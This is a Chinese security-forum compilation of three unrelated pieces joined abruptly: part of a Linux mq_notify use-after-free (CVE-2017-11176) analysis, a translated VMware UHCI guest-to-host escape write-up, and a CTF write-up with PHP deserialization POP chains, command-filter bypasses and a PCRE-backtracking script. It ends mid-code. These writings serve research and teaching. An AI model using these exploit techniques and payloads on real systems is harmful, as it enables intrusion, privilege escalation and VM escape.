当通过网卡接收到数据包时，驱动程序将网络数据包“加入”到sock接收缓冲区中。它会一直存在，直到程序决定接收它(recvmsg()系统调用)。反过来，当程序想要发送数据(sendmsg()系统调用)时，网络数据包被“加入”到sock发送缓冲区。一有机会，网卡将“取出”该数据包并发送。
那些“网络数据包”就是所谓的 **struct sk_buff** (或skb)。接收/发送缓冲区基本上是一个skb双向链表：
// [include/linux/sock.h]
struct sock {
int sk_rcvbuf; // theorical "max" size of the receive buffer
int sk_sndbuf; // theorical "max" size of the send buffer
atomic_t sk_rmem_alloc; // "current" size of the receive buffer
atomic_t sk_wmem_alloc; // "current" size of the send buffer
struct sk_buff_head sk_receive_queue; // head of doubly-linked list
struct sk_buff_head sk_write_queue; // head of doubly-linked list
struct socket *sk_socket;
// ...
}
可以看到， _struct sock_ 引用了 _struct socket_ (filed _sk_socket_ )，而 _struct socket_
引用了 _struct sock_ (field _sk_ )。 同样， _struct socket_ 引用 _struct file_ (field
_file_ )，而 _struct file_ 引用 _struct socket_ (field _private_data_
)。这种“双向机制”允许数据在网络堆栈中上下移动。
**NOTE** ：不要弄混！ _struct sock_ 对象通常称为 _sk_ ，而 _struct socket_ 对象通常称为 _sock_ 。
### Netlink Socket
Netlink socket是一类套接字，类似于UNIX或INET套接字。
Netlink套接字(AF_NETLINK)允许内核和用户空间之间的通信。
它可用于修改路由表(NETLINK_ROUTE协议)，接收SELinux事件通知(NETLINK_SELINUX)甚至与其他用户进程通信(NETLINK_USERSOCK)。
由于struct sock和struct socket是支持各种套接字的通用数据结构，因此有必要在某种程度上“实例化”。
从套接字的角度来看，需要定义proto_ops字段。 对于netlink系列(AF_NETLINK)，BSD样式的套接字操作是
**netlink_ops** ：
// [net/netlink/af_netlink.c]
static const struct proto_ops netlink_ops = {
.bind = netlink_bind,
.accept = sock_no_accept, // <--- calling accept() on netlink sockets leads to EOPNOTSUPP error
.sendmsg = netlink_sendmsg,
.recvmsg = netlink_recvmsg,
// ...
}
从sock的角度来看，它变得有点复杂。 有人可能会将struct sock视为抽象类。 因此，sock需要实例化。
在netlink的情况下，就是使用struct netlink_sock：
// [include/net/netlink_sock.h]
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
u32 pid;
u32 dst_pid;
u32 dst_group;
// ...
};
换句话说，netlink_sock是具有一些附加属性(继承)的“sock”。
上面注释处非常重要(sk是nettlink_sock的第一个属性非常重要)。 它允许内核在不知道其精确类型的情况下操作通用sock结构体。
还有另一个好处是，＆netlink_sock.sk和＆netlink_sock地址是一样的。
因此，释放指针＆netlink_sock.sk实际上释放了整个netlink_sock对象。
然后，netlink_sock生命周期逻辑可以保存在通用且经过良好测试的代码中。
### 整合
既然已经引入了核心数据结构，现在是时候将它们全部放在图表中以可视化它们的关系：
**READING** ：每个箭头代表一个指针。没有线“相互交叉”。“sock”结构体嵌入在“netlink_sock”结构体中。
### 引用计数
为了总结内核核心概念的介绍，有必要了解Linux内核如何处理引用计数。
为了减少内核中的内存泄漏并防止释放后重用，大多数Linux数据结构都嵌入了“ref counter”。
refcounter本身用atomic_t类型表示，该类型基本上是整数。 refcounter只能通过原子操作来操作，例如：
* atomic_inc()
* atomic_add()
* atomic_dec_and_test()//减去1并测试它是否等于零
因为没有“智能指针”(或操作符重载)，所以引用计数处理由开发人员手动完成。这意味着当一个对象被另一个对象引用时，必须明确增加其refcounter。删除此引用时，必须明确减少refcounter。当refchounter为零时，通常会释放该对象。
**NOTE** ：增加refcounter通常称为“引用”，而减少refcounter称为“删除/释放引用”。
但是，如果在任何时候存在不平衡(例如，引用一次并释放两次)，则存在内存损坏的风险：
* refcounter减少两次：释放后重用
* refcounter增加了两次：内存泄露或整型溢出导致释放后重用
Linux内核有几个函数来处理具有通用接口的refcounters(kref，kobject)。但是，它并没有被系统地使用，我们将操作的对象有自己的引用计数处理过程。一般来说，主要由“*_get()”系列函数进行引用，而“*_put()”系列函数进行释放。
在我们的例子中，每个对象都有不同的处理过程名称：
* struct sock：sock_hold()，sock_put()
* struct file：fget()，fput()
* struct files_struct：get_files_struct()，put_files_struct()
* ...
**WARNING**
：甚至可以更加混乱！例如，skb_put()实际上不会减少任何refcounter，它只会将数据“推送”到sk缓冲区！不要基于其名称假设函数做什么，直接看代码。
现在已经介绍了理解错误所需的每个数据结构，让我们继续并开始分析CVE。
## 公开信息
在深入研究bug之前，让我们描述一下mq _notify()系统调用的主要目的。 正如man所述，“mq_
*”代表“POSIX消息队列”，它是旧版System V消息队列的替代品：
POSIX message queues allow processes to exchange data in the form of messages.
This API is distinct from that provided by System V message queues (msgget(2),
msgsnd(2), msgrcv(2), etc.), but provides similar functionality.
mq_notify()系统调用本身用于注册/撤销异步通知。
mq_notify() allows the calling process to register or unregister for delivery of an
asynchronous notification when a new message arrives on the empty message queue
referred to by the descriptor mqdes.
在研究CVE时，从描述和修正补丁开始比较好。
4.11.9内核中的mq_notify函数在进入重试时不会将sock指针设置为NULL。在用户空间关闭Netlink套接字，它允许攻击者导致拒绝服务(释放后重用)或可能具有未知其他影响(提权？)。
补丁可在[此处](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f991af3daabaecff34684fd51fac80319d1baad1)获得：
diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:
timeo = MAX_SCHEDULE_TIMEOUT;
ret = netlink_attachskb(sock, nc, &timeo, NULL);
- if (ret == 1)
+ if (ret == 1) {
+ sock = NULL;
goto retry;
+ }
if (ret) {
sock = NULL;
nc = NULL;
补丁就只有一行！够简单......
最后，补丁说明提供了许多有用的信息来理解该漏洞：
mqueue: fix a use-after-free in sys_mq_notify()
The retry logic for netlink_attachskb() inside sys_mq_notify()
is nasty and vulnerable:
1) The sock refcnt is already released when retry is needed
2) The fd is controllable by user-space because we already
release the file refcnt
so we then retry but the fd has been just closed by user-space
during this small window, we end up calling netlink_detachskb()
on the error path which releases the sock again, later when
the user-space closes this socket a use-after-free could be
triggered.
Setting 'sock' to NULL here should be sufficient to fix it
补丁说明中存在一个小错误： _during this small window_ 。
虽然这个漏洞可以看作“竞态”漏洞，但我们会看到竞态的时间实际上可以以确定的方式无限延长(参见第2部分)。
## 理解漏洞
上面的补丁说明提供了许多有用的信息：
* 有漏洞的代码位于系统调用mq_notify中
* 重试逻辑有问题
* sock变量引用计数有问题，导致释放后重用
* 有一些与关闭fd相关的竞争条件
### 有漏洞的代码
让我们深入研究mq_notify()系统调用实现，尤其是重试逻辑部分(retry)，以及退出路径(out)：
// from [ipc/mqueue.c]
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
{
int ret;
struct file *filp;
struct sock *sock;
struct sigevent notification;
struct sk_buff *nc;
// ... cut (copy userland data to kernel + skb allocation) ...
sock = NULL;
retry:
[0] filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
[1] goto out;
}
[2a] sock = netlink_getsockbyfilp(filp);
[2b] fput(filp);
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
[3] goto out;
}
timeo = MAX_SCHEDULE_TIMEOUT;
[4] ret = netlink_attachskb(sock, nc, &timeo, NULL);
if (ret == 1)
[5a] goto retry;
if (ret) {
sock = NULL;
nc = NULL;
[5b] goto out;
}
[5c] // ... cut (normal path) ...
out:
if (sock) {
netlink_detachskb(sock, nc);
} else if (nc) {
dev_kfree_skb(nc);
}
return ret;
}
前面的代码首先根据用户提供的文件描述符引用文件对象[0]。如果当前进程文件描述符表(fdt)中不存在这个fd，则返回NULL指针并且代码进入退出路径[1]。
否则，引用与该文件关联的struct sock对象[2a]。如果没有关联的有效struct
sock对象(不存在或类型错误)，则指向sock的指针将重置为NULL并且代码将进入退出路径[3]。在这两种情况下，先前的文件对象引用都被释放[2b]。
最后，调用netlink_attachskb()[4]，尝试将struct sk_buff(nc)加入struct
sock接收队列。从那里，有三种可能的结果：
* 一切都很顺利，代码继续在正常的路径[5c]。
* 该函数返回1，在这种情况下，代码跳回到重试标签[5a]，也就是“重试逻辑”。
* 否则，nc和sock都设置为NULL，代码跳转到退出路径[5b]。
### 为什么将“sock”设置为NULL很重要？
要回答这个问题，先让我们自问：如果它不是NULL会发生什么？ 回答是：
out:
if (sock) {
netlink_detachskb(sock, nc); // <----- here
}
// from [net/netlink/af_netlink.c]
void netlink_detachskb(struct sock *sk, struct sk_buff *skb)
{
kfree_skb(skb);
sock_put(sk); // <----- here
}
// from [include/net/sock.h]
/* Ungrab socket and destroy it if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
if (atomic_dec_and_test(&sk->sk_refcnt)) // <----- here
sk_free(sk);
}
换句话说，如果在退出路径期间sock不为NULL，则其引用计数(sk_refcnt)将无条件地减1。
正如补丁所述，sock对象上的引用存在问题。 但这个引用计数最初在哪里递增？
如果我们查看netlink_getsockbyfilp()的代码(在上一个清单的[2a]中调用)，有下列代码：
// from [net/netlink/af_netlink.c]
struct sock *netlink_getsockbyfilp(struct file *filp)
{
struct inode *inode = filp->f_path.dentry->d_inode;
struct sock *sock;
if (!S_ISSOCK(inode->i_mode))
return ERR_PTR(-ENOTSOCK);
sock = SOCKET_I(inode)->sk;
if (sock->sk_family != AF_NETLINK)
return ERR_PTR(-EINVAL);
[0] sock_hold(sock); // <----- here
return sock;
}
// from [include/net/sock.h]
static inline void sock_hold(struct sock *sk)
{
atomic_inc(&sk->sk_refcnt); // <------ here
}
因此，sock对象的refcounter在重试逻辑中很早就递增1[0]。
由于netlink_getsockbyfilp()无条件地递增引用计数，并且由netlink_detachskb()递减(如果sock不为NULL)。这意味着netlink_attachskb()应该以某种方式对refcounter保持中立。
这是netlink_attachskb()代码的简化版本：
// from [net/netlink/af_netlink.c]
/*
* Attach a skb to a netlink socket.
* The caller must hold a reference to the destination socket. On error, the
* reference is dropped. The skb is not sent to the destination, just all
* all error checks are performed and memory in the queue is reserved.
* Return values:
* < 0: error. skb freed, reference to sock dropped.
* 0: continue
* 1: repeat lookup - reference dropped while waiting for socket memory.
*/
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
// ... cut (wait until some conditions) ...
sock_put(sk); // <----- refcnt decremented here
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo); // <----- "error" path
}
return 1; // <----- "retry" path
}
skb_set_owner_r(skb, sk); // <----- "normal" path
return 0;
}
* 正常路径：skb所有权转移到sock(即在sock接收队列中排队)。
* 套接字的接收缓冲区已满：等待有足够的空间并重试或出错退出。
正如上面所述：调用者必须持有对目标套接字的引用。 出错时，释放引用。 是的，netlink_attachskb()对sock引用计数有副作用！
因为，netlink_attachskb()可能会释放一个引用计数(只有一个与netlink_getsockbyfilp()一起使用)，
**调用者有责任不再释放它。** 这是通过将sock设置为NULL来实现的！
这是在“error”路径上正确完成的(netlink_attachskb()返回负值)，但不在“retry”路径上(netlink_attachskb()返回1)，这就是补丁的全部内容。
到目前为止，我们现在知道sock变量引用计数有什么问题(它在某些条件下第二次释放)，以及重试逻辑的问题(它没有将sock重置为NULL)。
### 竞争条件
补丁提到了与“关闭fd”相关的“小窗口期”(即竞争条件)。为什么？
让我们再看一下重试路径的开头：
sock = NULL; // <----- first loop only
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out; // <----- what about this?
}
sock = netlink_getsockbyfilp(filp);
在第一个循环期间，此错误处理路径可能看起来没有问题。但是，在第二个循环期间(即“goto
retry”之后)，sock不再是NULL(并且引用计数已经减1)。所以，它直接跳到“out”，并达到第一个条件......
out:
if (sock) {
netlink_detachskb(sock, nc);
}
... sock的引用计数第二次递减！这是一个重复sock_put()错误。
有人可能想知道为什么我们会在第二次循环中遇到这种情况(fget()返回NULL)，因为在第一次循环期间fget()返回非NULL。这是该漏洞的竞争条件方面。我们将在下一节中看到如何做到这一点。
### 攻击情景
假设文件描述符表可以在两个线程之间共享，请考虑以下顺序：
Thread-1 | Thread-2 | file refcnt | sock refcnt | sock ptr
---|---|---|---|---
mq_notify() | | 1 | 1 | NULL
| | | |
fget(<target_fd>) -> ok</target_fd> | | 2 (+1) | 1 | NULL
| | | |
netlink_getsockbyfilp() -> ok | | 2 | 2 (+1) | 0xffffffc0aabbccdd
| | | |
fput(<target_fd>) -> ok</target_fd> | | 1 (-1) | 2 | 0xffffffc0aabbccdd
| | | |
netlink_attachskb() -> returns 1 | | 1 | 1 (-1) | 0xffffffc0aabbccdd
| | | |
| close(<target_fd>)</target_fd> | 0 (-1) | 0 (-1) | 0xffffffc0aabbccdd
| | | |
goto retry | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
fget(<TARGET_FD) -> returns NULL | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
goto out | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
netlink_detachskb() -> UAF! | | FREE | (-1) in UAF | 0xffffffc0aabbccdd
close(TARGET_FD)系统调用中将调用fput()(它将文件对象的引用计数减1)并删除从给定文件描述符(TARGET_FD)到引用文件的映射。也就是说，将fdt[TARGET_FD]设置为NULL。由于调用close(TARGET_FD)删除了引用文件的最后一个引用，它将被释放。
由于文件对象被释放，它会删除相关sock的引用(即sock的引用计数将减1)。同样，由于sock的引用计数为零，它也会被释放。此时，sock指针是野指针，尚未重置为NULL。
对fget()的第二次调用将失败(fd不指向FDT中的任何有效文件对象)并直接跳转到“out”标签。然后调用netlink_detachskb()参数是指向已释放数据的指针，这将导致释放后重用！
这就是为什么补丁提到了“关闭fd”的原因。这是实际触发漏洞的必要条件。并且因为close()在另一个线程中非特定的时间发生，所以它需要“竞争”。
到目前为止，我们已经掌握理解漏洞以及如何触发漏洞所需的一切。我们需要满足两个条件：
* 在第一次重试循环中，对netlink_attachskb()的调用应返回1。
* 在第二个重试循环中，对fget()的调用应该返回NULL。
换句话说，当我们从mq_notif()系统调用返回时，sock的引用计数为-1，产生了不平衡。在进入mq_notify()之前sock引用计数被设置为1，在mq_notif()末尾处(在netlink_detachskb()中)会有释放后重用。
译者注：由于有点长，所以分成了两部分，[后一部分链接](https://xz.aliyun.com/t/5273) | 社区文章 |
# 通过通用主机控制接口逃逸VMWARE
原文地址：<https://www.zerodayinitiative.com/blog/2019/8/15/taking-control-of-vmware-through-the-universal-host-control-interface-part-2>
## 0x00 前言
这篇博客着眼于普渡大学暑期实习生 _[Abdulellah Alsaheel](https://twitter.com/0xalsaheel)_
的Pwn2Own获奖项目。这是该获奖漏洞研究系列的第二部分。 **您可以在
_[这里](https://www.zerodayinitiative.com/blog/2019/5/7/taking-control-of-vmware-through-the-universal-host-controller-interface-part-1)_ 阅读该系列的第一部分**。
在今年的温哥华[Pwn2Own](https://www.zerodayinitiative.com/blog/2019/3/22/pwn2own-vancouver-2019-wrapping-up-and-rolling-out)比赛期间，[Fluoroacetate](https://twitter.com/fluoroacetate)团队展示了他们如何在VMware
Workstation中实现从客户操作系统权限逃逸至宿主机操作系统权限。他们利用了虚拟USB 1.1
UHCI（通用主机控制器接口）中的越界读/写漏洞（[ZDI-19-421](https://www.zerodayinitiative.com/advisories/ZDI-19-421/)）。
虽然此漏洞影响了各种VMware产品，但本博客的分析主要基于Workstation
15.0.3，采用Fluoroacetate的exp。该漏洞在VMware Workstation
15.0.4中被修补，编号为[VMSA-2019-0005.1](https://www.vmware.com/security/advisories/VMSA-2019-0005.html)。
## 0x01 漏洞说明
为了让VMware guest虚拟机访问USB设备，VMware
guest虚拟机需安装名为`uhci_hcd`的内核设备驱动程序。“hcd”代表“主机控制器驱动程序”。此驱动程序允许guest虚拟机与主机端的主机控制器接口（HCI）进行通信，主机端通过该硬件接口与物理USB端口进行通信。通过向USB设备定义的各种端点发送或接收USB请求块（URB）分组来完成通信。USB设备通过各端点发送或接收数据包传送实现通信，这些端点或从主机接收数据包（OUT），或向主机发送数据包（IN）。我们通过将特制的OUT数据包发送到一个名为Bulk的特定端点触发漏洞。
`uhci_hcd`驱动程序处理的数据包在内存中使用`uhci_td`（传输描述符）结构表示：
<center>传输描述符（TD）结构
请注意，`token`字段包含一些未标明的位对齐子段。尤其注意的是，最低8位表示的是“分组ID”，定义了分组的类型。前10位是名为`MaxLen`的长度字段。
为了触发此漏洞，guest虚拟机必须发送精心设计的TD结构，将Packet
ID设置为OUT（0xE1）。此外，由`MaxLen`子字段指示的TD的缓冲区长度必须大于0x40字节才能溢出堆上的对象。使用windbg
attach调试vmware-vmx.exe，然后触发漏洞，我们会得到以下访问冲突：
调用堆栈显示了一系列处理UHCI请求的函数：
程序在调用`memcpy`从TD的缓冲区复制数据的过程中发生崩溃：
这是`memcpy`从TD缓冲区复制到堆中的内容：
让我们看看目标缓冲区大小是多少：
缓冲区的大小为0x58，`vmware-vmx`通过`[number_of_TD_structures]*0x40+0x18`计算目标缓冲区的大小。因为这一次我们只发送了一个TD结构，缓冲区大小是`1*0x40+0x18=0x58`字节。
在调用`memcpy`的过程中，我们可以精确指定要复制的字节数。为此，我们将OUT
TD的`token`字段的子字段`MaxLen`（21位到31位）设置为所需的`memcpy`大小减1。
很明显，有了这个，我们就可以溢出堆。但是，除了溢出堆之外，漏洞利用作者还能利用此漏洞执行其他越界写入。函数`NewURB()`（位于`vmware_vmx+0x165710`）用来处理传入的URB数据包。每次函数`NewURB()`接收TD时，它都会将TD的`MaxLen`值添加到称为光标的变量中。光标变量指向函数接收TD结构时应该写入的位置。通过这种方式，该`MaxLen`字段可用于在处理后续TD时部分地控制目的地址。
## 0x02 漏洞利用
为了利用此漏洞，必须先对`vmware-vmx`进程进行堆布局。为了执行堆布局工作，漏洞利用主要依赖于前端（客户端）上的SVGA3D协议，它用于通过SVGA
FIFO与主机通信。在后端（主机端），VMware使用DX11Renderer组件处理请求。漏洞利用代码从初始化阶段开始，先初始化SVGA
FIFO内存，然后分配SVGA3D对象表。
堆布局的总体策略如下。exp首先创建`hole`或未分配内存的`island`，每个都是0x158字节大小，正是分配一定数量的TD加缓冲区头所需的大小。TD可能会在某个`hole`内进行分配。之后，exp创建一个名为`资源容器`的结构，大小为0x150字节，表示与图形界面相关的数据。这样做是为了破坏紧跟在TD之后的`资源容器`。
漏洞利用代码使用以下步骤布局堆：
\- 定义并绑定大小为0x5000的Context内存对象。
\- 定义大小为0x1000 的内存对象（`SPRAY_OBJ`），用于重复地绑定结构（例如，`着色器`）。
\-定义大小为0x158的2400个`着色器`，将它们绑定到`SPRAY_OBJ`。之后，使用`SVGA_3D_CMD_SET_SHADER`在主机中喷射`着色器`。
\- 迭代喷射`着色器`并执行以下操作：
\---释放偶数编号的`着色器`。
\---创建一个surface，分配一个大小为0x150的`资源容器`。通常是在`着色器`空出的`hole`中进行分配。此外，主机将分配大小为0x160的关联数据缓冲区。由于大小不同，这些数据缓冲区将位于低碎片堆（LFH）的单独区域中。每个0x150字节的`资源容器`将包含指针指向其关联的0x160字节数据缓冲区。
\---再创建两个surface，分配两个大小为0x160的`资源容器`。由于它们大小为0x160字节，在此步骤中分配的`资源容器`在内存中位于上一步骤的0x160字节数据缓冲区附近。出于这个原因，这些`资源容器`被称为“相邻”`资源容器`。下面将解释这些“相邻”`资源容器`的目的。
\- 释放所有剩余`着色器`，释放大小为0x158的块。这些大小为0x158的`hole`将与大小为0x150的`资源容器`交替。
### 越界写功能
在强调漏洞利用的一般结构之前，先介绍触发漏洞的`WriteOOB`函数。在整个漏洞利用期间，为了不同的目的我们需要多次调用`WriteOOB`，例如泄漏`vmware-vmx.exe`和`kernel32.dll`基址，以及最终的代码执行步骤。函数的参数如下：
WriteOOB()(void * data, size_t data_size, uint32_t offset)
`data`参数是一个指向缓冲区的指针，该缓冲区包含我们打算写入主机堆栈的数据。`size`参数指定数据的长度。最后，`offset`参数指定要写入数据的位置，表示相对被损坏的`资源容器`头的偏移。
该函数首先分配和初始化帧列表和五个TD结构。回想一下，在堆布局过程中，我们创建了大小为0x158的`hole`。此函数发送五个TD结构，因此堆上分配的缓冲区大小为`5*0x40+0x18=0x158`。我们希望这能够分配在`hole`上，这样，紧随TD之后，可以破坏一个`资源容器`。
除了最后一个TD（终止TD）之外，每个TD结构使用`link`字段链接到下一个TD结构。对于前三个TD结构，`MaxLen`子字段设置为0x40。前三个TD结构的分组ID子字段设置为`USB_PID_SOF`，因此对于每个TD结构，光标将前进0x41。第四TD结构的分组ID也设置为`USB_PID_SOF`，但是对于该TD，`MaxLen`设置为从`offset`参数计算的值。这使光标成为了一个可控量。在第五TD中，分组ID设置为`USB_PID_OUT`，以便将`data`缓冲器的内容写入光标位置。
### 内存泄漏并绕过ASLR
现在，已经准备好了漏洞原语，接下来我们就要泄漏`vmware-vmx.exe`的基地址。我们通过在TD之后破坏`资源容器`中数据缓冲区的指针来完成的。该指针位于`资源容器`内的偏移0x138处。该漏洞通过将其替换为0x00来破坏数据指针的最低有效字节。当引用损坏的指针时，它不再指向数据缓冲区。相反，它指向位于数据缓冲区附近的0x160字节的“相邻”`资源容器`。这些“相邻”`资源容器`中有一些函数指针，当数据被复制回guest虚拟机时，将得到`vmware-vmx.exe`基地址：
为精确控制数据指针，我们需要计算移动的光标字节数：
* 最初，光标指向大小为0x158的缓冲区的开头，考虑到第一个0x18字节被保留为缓冲区头，我们只能控制0x140字节。
* `资源容器`的堆头占用0x8个字节。
* `资源容器`中数据指针的偏移量为0x138。
因此，总和为0x140 + 0x8 + 0x138 = 0x280，这是 _光标_ 必须移动的字节数，指向我们打算填写的字节。
为了将泄漏的函数指针写回到guest虚拟机，exp迭代喷射了2400次surface，并利用`SVGA_3D_CMD_SURFACE_COPY`获取每个的数据。它继续迭代，直到找到能够泄露`vmware-vmx.exe`基址的函数指针。
找`kernel32.dll`基址，利用过程和偏移计算与`vmware-vmx.exe`是一样的，除了一个小细节。它不是填充单个字节指针，而是利用`vmware_vmx_base_address+0x7D42D8`覆盖整个数据指针，即`Kernel32!MultiByteToWideCharStub`在导入地址表中的存储地址，这可以泄露出`kernel32.dll`基地址。
### 逃逸到宿主机做代码执行
为了实现代码执行，exp再次覆盖堆上的`资源容器`。这次，漏洞会覆盖`资源容器`的0x120字节。这完成了三件事：
1 - 将字符串`calc.exe`写入`资源容器`。
2 - 填写`资源容器`的某些必要字段。
3 - 覆盖`资源容器`中偏移量0x120的函数指针，使它指向`kernel32!WinExec`。
这是`资源容器`在被破坏后的样子：
最后当guest主机调用`SVGA_3D_CMD_SURFACE_COPY`访问此`资源容器`时，`WinExec`函数将被调用，`calc.exe`字符串的地址作为第一个参数传递。该漏洞必须遍历所有2400个surface，以确保使用到被破坏的`资源容器`。
### 漏洞利用摘要
查看上述材料，漏洞利用可以总结如下：
- 堆布局：
---分配大小为0x158的2400个`着色器`。
---释放大小为0x158的备用`着色器`。
---对于每个被释放的`着色器`，使用大小为0x150的`资源容器`（例如，surface）填充hole。在此`资源容器`中，将有一个指向大小为0x160的关联数据缓冲区的指针。另外还要创建两个`着色器`，分配两个大小为0x160且与数据缓冲区相邻的`资源容器`。
- 泄漏vmware-vmx.exe基地址（迭代64次，直到找到地址）：
---调用`WriteOOB`破坏大小为0x150的`资源容器`并将指针的最低有效字节填写到其数据缓冲区，以便它指向相邻的0x160字节`资源容器`。该内存包含一些函数指针。
---遍历2400个surface并使用`SVGA_3D_CMD_SURFACE_COPY`将数据传回到guest主机，直到泄漏出地址。
- 泄漏kernel32.dll基地址（迭代64次，直到找到地址）：
---调用`WriteOOB`破坏大小为0x150的`资源容器`，并将VMWare-vmx.exe中`kernel32.dll`导入表中的函数地址填充到其数据缓冲区的指针。
---遍历2400个surface并使用`SVGA_3D_CMD_SURFACE_COPY`将数据传回到guest主机，直到泄漏出地址。
- 逃离guest主机并在宿主机获得代码执行（迭代64次，直到代码执行）：
---调用`WriteOOB`以破坏大小为0x150的`资源容器`。填充“calc.exe”字符串并使用`kernel32!WinExec`地址填充到函数指针位置。
--- 通过`SVGA_3D_CMD_SURFACE_COPY`迭代访问2400个surface，直到触发`WinExec`的执行。
## 0x03 结论
基于特定的内存损坏错误，可有效实现VMware虚拟机逃逸。该漏洞利用通过半暴力的方式实现代码执行。在VMware中发现可利用的漏洞仍然是一个挑战，但一旦发现漏洞，它也不会太过难以利用。VMware
SVGA提供了各种操作和对象，例如`资源容器`和`着色器`。通过调整它们的大小以及存储的数据和函数指针，可以有效的辅助漏洞利用工作。
您可以在Twitter上找到我[@ 0xAlsaheel，](https://twitter.com/0xAlsaheel)并关注ZDI
[团队](https://www.twitter.com/thezdi)获取最新的漏洞利用技术和安全补丁。
</center> | 社区文章 |
# 2021年“绿盟杯”重庆市大学生信息安全竞赛-WP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Web
### flag在哪里
打开题目直接拿到题目源码：
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = "file";
$this->content = "content";
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt";
if(is_file($filename)){
unlink($filename);
}
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
$this->file="test.txt";
echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}
function check($dis_content){
if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
die("hack !!!");
}
}
$pop=$_GET['pop'];
if (isset($pop)) {
check($pop);
unserialize($pop);
} else {
highlight_file("index.php");
}
?>
发现有 getflag.php 文件，尝试先读取一下该文件：
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct($obj)
{
$this->file = "getflag.php";
$this->content = "content";
$this->mode=$obj;
}
function __wakeup(){}
function __call($file,$content) {
highlight_file($this->file);
}
function __destruct(){}
}
$demo = new begin('');
$demo->choice=new begin('');
echo urlencode(serialize($demo));
先查看一下文件目录：
POST：a=dir&b=system
绕过过滤读取 _f_l_a_g.php 文件：
POST：a=rev ????????????&b=system
FLag：flag{sda5-vdv1-dv35-qsc-112sa}
### 寻宝奇兵
先查看一下源代码，发现关键代码：
<?php
if (isset($_COOKIE["users"])) {
if($_COOKIE["users"]==="explorer")
{
die("Explorers are not welcome");
}
$hash = $_COOKIE["hash"];
$users=$_COOKIE["users"];
if($hash === md5($SECRET.$users)){
echo "<script >alert('恭喜')</script>";
} else {
setcookie("users", "explorer");
setcookie("hash", md5($SECRET . "explorer"));
}
这里直接随便设置一个 users 的值，然后得到其对应的 hash 的值，替换掉 Cookie 中的这两个值，即可绕过第一层：
<?php
$SECRET="There is no treasure here";
$users="H3rmesk1t";
echo md5($SECRET.$users).PHP_EOL;
拿到第二层的关键代码，发现需要爆破随机数种子：
<?php
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$table = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$pass='';
for ( $i = 0; $i < 24; $i++ ){
$pass.=substr($table, mt_rand(0, strlen($table) - 1), 1);
}
if(isset($_POST['password'])){
if($pass==$_POST['password']){
echo "<script >alert('恭喜你')</script>";
}
}
得到随机数种子后还原一下字符串即可进入第三层：
<?php
mt_srand(0x0167cf45);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=24;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
拿到第三层的核心代码：
<?php
function is_php($data){
return preg_match('/[flag].*[php]/is', $data);
}
if($_POST['treasure']){
if(is_php($_POST['treasure'])) {
echo "<script >alert('这个不能拿走');</script>";
} else {
if(preg_match('/flag.php/is', $_POST['treasure'])){
highlight_file('flag.php');
}
}
}
这里直接利用 pcre 回溯来绕过这里即可：
import requests
from io import BytesIO
data = {
'treasure': BytesIO(b'flag.php' + b'a' * 1000000),
'submit':'%E6%8F%90%E4%BA%A4'
}
res = requests.post('http://119.61.19.212:57305/treasure.php', data=data)
print(res.text)
Flag：flag{C0ngratu1aTion2-0n-gEtting-the-treAsure}
### mid
发现可以进行文件包含，尝试直接包含 flag 文件：
http://119.61.19.212:57303/index.php/?1=/flag
Flag：flag{bf6d5f9cac073879c9e6a0cfb1ab0e67}
### glowworm
根据提示，访问 /source 拿到题目源代码：
const express = require('express');
const bodyParser = require('body-parser')
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();
const FLAG = require('./config').FLAG;
app.set('view engine', 'html');
app.engine('html', require('hbs').__express);
app.use(express.urlencoded());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var glowworm=[];
var content=[];
function sha1(string) {
return crypto.createHash("sha1").update(string).digest("hex");
}
app.get('/', (req, res) => {
const { page } = req.query;
if (!page) res.redirect('/?page=index');
else res.render(page, { FLAG, 'insect': 'glowworm' });
});
app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/app.js'));
});
app.post('/data', function(req, res) {
